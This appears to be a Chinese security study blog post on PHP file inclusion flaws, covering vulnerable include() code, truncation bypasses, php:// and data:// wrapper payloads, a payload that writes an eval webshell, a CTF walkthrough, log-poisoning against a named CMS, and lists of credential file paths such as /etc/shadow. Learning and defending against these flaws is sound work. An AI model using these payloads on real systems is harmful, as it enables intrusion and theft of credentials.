WEB漏洞—文件操作之文件包含漏洞全解

WEB漏洞—文件操作之文件包含漏洞全解

文件操作安全

服务器执行PHP文件时,可以通过文件包含函数加载另一个文件中的PHP代码,并且当PHP来执行,这会为开发者节省大量的时间。这意味着您可以创建供所有网页引用的标准页眉或菜单文件。当页眉需要更新时,您只更新一个包含文件就可以了,或者当您向网站添加一张新页面时,仅仅需要修改一下菜单文件(而不是更新所有网页中的链接)。

1
2
文件包含漏洞
原理,检测,类型,利用,修复等
1
原理:将文件以脚本执行
1
2
3
4
5
6
7
文件包含各个脚本代码
ASP,PHP,JSP,ASPXdeng
<!--#include file="1.asp" -->
<!--#include file="1.aspx"-->
<c:import url="http://thief.one/1.jsp">
<jsp:include page="head.jsp"/>
<?php include('test.php'); ?>

文件包含函数

PHP中文件包含函数有以下四种:

require()

require_once()

include()

include_once()

includerequire区别主要是,include在包含的过程中如果出现错误,会抛出一个警告,程序继续正常运行;而require函数出现错误的时候,会直接报错并退出程序的执行。

include_once()require_once()这两个函数,与前两个的不同之处在于这两个函数只包含一次,适用于在脚本执行期间同一个文件有可能被包括超过一次的情况下,你想确保它只被包括一次以避免函数重定义,变量重新赋值等问题。

漏洞产生原因

文件包含函数加载的参数没有经过过滤或者严格的定义,可以被用户控制,包含其他恶意文件,导致了执行了非预期的代码。

示例代码

1
2
3
4
<?php
$filename = $_GET['filename'];
include($filename);
?>

例如:

$_GET['filename']参数开发者没有经过严格的过滤,直接带入了include的函数,攻击者可以修改$_GET['filename']的值,执行非预期的操作。

Snipaste_2022-05-15_17-18-27

Snipaste_2022-05-15_17-19-57

如果你直接去访问这个231.txt,那么只会是普通文本的效果,但是如果是用php写的代码,代码包含了这个231.txt的文件,那么就会将这个文件里面的内容按照php来执行,如果你的网站是asp,那么就会按照asp来执行

1
2
3
远程包含:就是可以构造一个远程的地址,如果存在远程包含的漏洞的话,就可以包含远程的地址,执行远程地址中的代码
本地包含:顾名思义,原理和远程包含一样,唯一不同的点是如果本地没有你想要的文件,那么这个就没有办法了
所以远程包含的危害是要比本地包含的要大一些的

但是如果想要实现远程文件包含,需要php.ini开启了allow_url_fopen和allow_url_include的配置。包含的文件是第三方服务器的文件。本地文件包含的含义就是包含本地服务器的文件

一般情况下,都会有限制,如果想要绕过参考如下:

%00截断:之前的笔记中有,所以这里就不在赘述,这里有一个条件,就是php的版本要小于5.3.4

长度截断:条件:windows,点号需要长于256;linux长于4096(类似于垃圾数据填充)

1
2
3
4
5
6
7
本地包含-无限制,有限制

http://127.0.0.1:8080/include.php?filename=1.txt
http://127.0.0.1:8080/include.php?filename=../../../www.txt
00截断:条件:magic_quotes_gpc = Off php版本<5.3.4
http://127.0.0.1:8080/include.php?filename=../../../www.txt%00
长度截断:条件:windows,点号需要长于256;linux长于4096

远程包含:也是分为有限制和无限制,在PHP中有这样的一个开关:allow_url_include这个开关就是管理着远程包含的开关

目录穿越

原理很简单,就是你需要包含的文件可能是不在网站的根目录的,需要用../(表示上级目录),来进行穿越,这个是往上,如果是往下,当然就是目录名/目录名/……

Snipaste_2022-05-15_17-49-08

Snipaste_2022-05-15_17-49-40

可以看到成功访问这个231中的代码

构造一个有限制的代码

1
2
3
4
<?php
$filename = $_GET['filename'];
include($filename . ".html");
?>

如果这个代码是这样的写法,那么当你访问231.txt的时候,实际上访问的是231.txt.html这个文件,也就是说这个文件被当作html执行,一个是没有被当作php执行,还有一个是如果加上了这个后缀,但是网站的本地没有这个231.txt.html,这两种原因都会使其不能正常执行

绕过思路,上面有说,这里不在赘述,直接开工

绕过方式一:%00截断

#条件

—-magic_quotes_gpc=off

—-php版本<5.3.4

Snipaste_2022-05-15_18-09-22

可以看到可以执行

但是这个需要版本符合,所以更加推荐第二种

【长度截断】

Snipaste_2022-05-15_18-12-49

可以看到这里还是可以绕过,当然这是5.2的版本,当我切换到5.4版本,同样绕不过

Snipaste_2022-05-15_18-15-47

远程包含

Snipaste_2022-05-15_18-21-11

1
2
3
4
5
远程包含-无限制,有限制
http://127.0.0.1:8080/include.php?filename=http://www.xiaodi8.com/readme.txt
http://127.0.0.1:8080/include.php?filename=http://www.xiaodi8.com/readme.txt%20
http://127.0.0.1:8080/include.php?filename=http://www.xiaodi8.com/readme.txt%23
http://127.0.0.1:8080/include.php?filename=http://www.xiaodi8.com/readme.txt?

1375459-20211203161448996-899142530

1375459-20220107134307885-2044528033

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
----伪协议常常用于文件包含漏洞之中。

----在php中能够造成文件包含的函数有include、require、include_once、require_once、highlight_file、show_source、file_get_contents、fopen、file、readfile。

----include函数:可以放在PHP脚本的任意位置,一般放在流程控制的处理部分中。当PHP脚本执行到include指定引入的文件时,才将它包含并尝试执行。当第二次遇到相同文件时,PHP还是会重新解释一次。

----require函数:一般放在PHP脚本的最前面,PHP执行前就会先读入require指定引入的文件,包含并尝试执行引入的脚本文件。require的工作方式是提高PHP的执行效率,当它在同一个网页中解释过一次后,第二次便不会解释。

----include_once和require_once函数:分别与require / include作用相同,不同的是他们在执行到时会先检查目标内容是不是在之前已经导入过,如果导入过了,那么便不会再次重复引入其同样的内容。

----hightfile函数:highlight_file(filename,return) —— filename:必需。要进行高亮处理的 PHP 文件的路径。return:可选。如果设置 true,则本函数返回高亮处理的代码。该函数通过使用 PHP 语法高亮程序中定义的颜色,输出或返回包含在 filename 中的代码的语法高亮版本。

----show_source函数:该函数是highlight_file函数的别名。

----file_get_content函数:把整个文件读入一个字符串中。和 file() 一样,不同的是 file_get_contents() 把文件读入一个字符串。

----file() 函数:把整个文件读入一个数组中。与 file_get_contents() 类似,不同的是 file() 将文件作为一个数组返回。数组中的每个单元都是文件中相应的一行,包括换行符在内。如果失败,则返回 false。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
各种协议流玩法
php://
1.读取文件源码用法
http://127.0.0.1:8080/include.php?filename=php://filter/read=convert.base64-encode/resource=[文件名]

2.执行php代码用法
http://127.0.0.1:8080/include.php?file=php://input
[POST DATA部分]
<?php phpinfo(); ?>

3.写入一句话木马用法
http://127.0.0.1:8080/include.php?file=php://input
[POST DATA部分]
<?php fputs(fopen('shell.php','w'),'<?php @eval($_GET[cmd]); ?>'); ?>
//

data://
执行php代码用法
http://127.0.0.1:8080/include.php?filename=data://text/plain,<?php%20phpinfo();?>
http://127.0.0.1:8080/include.php?filename=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b

file://
1.file://[文件的绝对路径和文件名]
http://127.0.0.1:8080/include.php?filename=file:///D:/phpstudy/PHPTutorial/WWW/1.txt
2.[文件的相对路径和文件名]
http://127.0.0.1:8080/include.php?filename=./phpinfo.txt

Snipaste_2022-05-15_18-39-27

Snipaste_2022-05-15_18-39-59

解密获取源码

将对应版本和参数配置好,图上要求设置什么参数就按照要求来的,标红的参数就是必须需要配置的

Snipaste_2022-05-15_19-33-13

Snipaste_2022-05-15_19-40-57

执行

Snipaste_2022-05-15_19-41-36

Snipaste_2022-05-15_19-41-57

写入了一个后门文件

Snipaste_2022-05-15_19-45-33

CTF-南邮大,i春秋百度杯真题-白盒

网站地址:http://4.chinalover.sinaapp.com/web7/index.php

网站:https://www.ichunqiu.com/battalion?t=1&r=0

南邮

Snipaste_2022-05-15_19-52-28

Snipaste_2022-05-15_19-56-01

这里判断系统是linux的操作系统。

Snipaste_2022-05-15_19-58-05

Snipaste_2022-05-15_20-02-10

Snipaste_2022-05-15_20-02-16

不知道那个i春秋的认证码是什么,所以这里用小迪视屏里的截图

Snipaste_2022-05-15_20-21-31

Snipaste_2022-05-15_20-25-25

Snipaste_2022-05-15_20-25-36

代码解析:如果这个path为空就执行phpinfo,所以这里需要这path有值,先判断系统,判断为linux,然后是用刚刚学到的查看当前目录文件,ls,然后再用cat读文件,然后会没有flag,右键源代码就OK了

Snipaste_2022-05-15_20-29-11

Snipaste_2022-05-15_20-29-19

如果像上面这样,两次访问的结果一样,那么这绝对是一个文件包含

某CMS程序文件包含利用-黑盒

get一个新思路,如果对方网站的日志能够记录错误请求的代码,而且恰好有文件包含漏洞,那么就可以包含日志文件来执行shell呆马

测试版本:易酷cms2.5

包含一句话:http://localhost/ekucms2.5/?s=my/show/id/{~eval($_POST[x])}

Snipaste_2022-05-24_20-08-16

会在网站的/temp/Logs/目录下生成一个错误日志,命名规则为年_月_日

Snipaste_2022-05-24_20-09-01

错误日志内容

Snipaste_2022-05-24_20-09-47

包含错误日志,地址:http://localhost/ekucms2.5/?s=my/show/id/\..\temp\logs\17_12_02.log

Snipaste_2022-05-24_20-10-21

连接成功

Snipaste_2022-05-24_20-10-42

常见的敏感信息路径:

Windows系统

1
2
3
4
5
6
7
8
9
10
11
c:\boot.ini // 查看系统版本

c:\windows\system32\inetsrv\MetaBase.xml // IIS配置文件

c:\windows\repair\sam // 存储Windows系统初次安装的密码

c:\ProgramFiles\mysql\my.ini // MySQL配置

c:\ProgramFiles\mysql\data\mysql\user.MYD // MySQL root密码

c:\windows\php.ini // php 配置信息

Linux/Unix系统

1
2
3
4
5
6
7
8
9
10
11
12
13
/etc/passwd // 账户信息

/etc/shadow // 账户密码文件

/usr/local/app/apache2/conf/httpd.conf // Apache2默认配置文件

/usr/local/app/apache2/conf/extra/httpd-vhost.conf // 虚拟网站配置

/usr/local/app/php5/lib/php.ini // PHP相关配置

/etc/httpd/conf/httpd.conf // Apache配置文件

/etc/my.conf // mysql 配置文件
1
2
3
4
文件包含修复方案:
<1>固定后缀:比如include($filename."html");,有绕过风险
<2>固定文件:比如include("1.txt");
<3>WAF产品。

资料

1
https://www.cnblogs.com/endust/p/11804767.html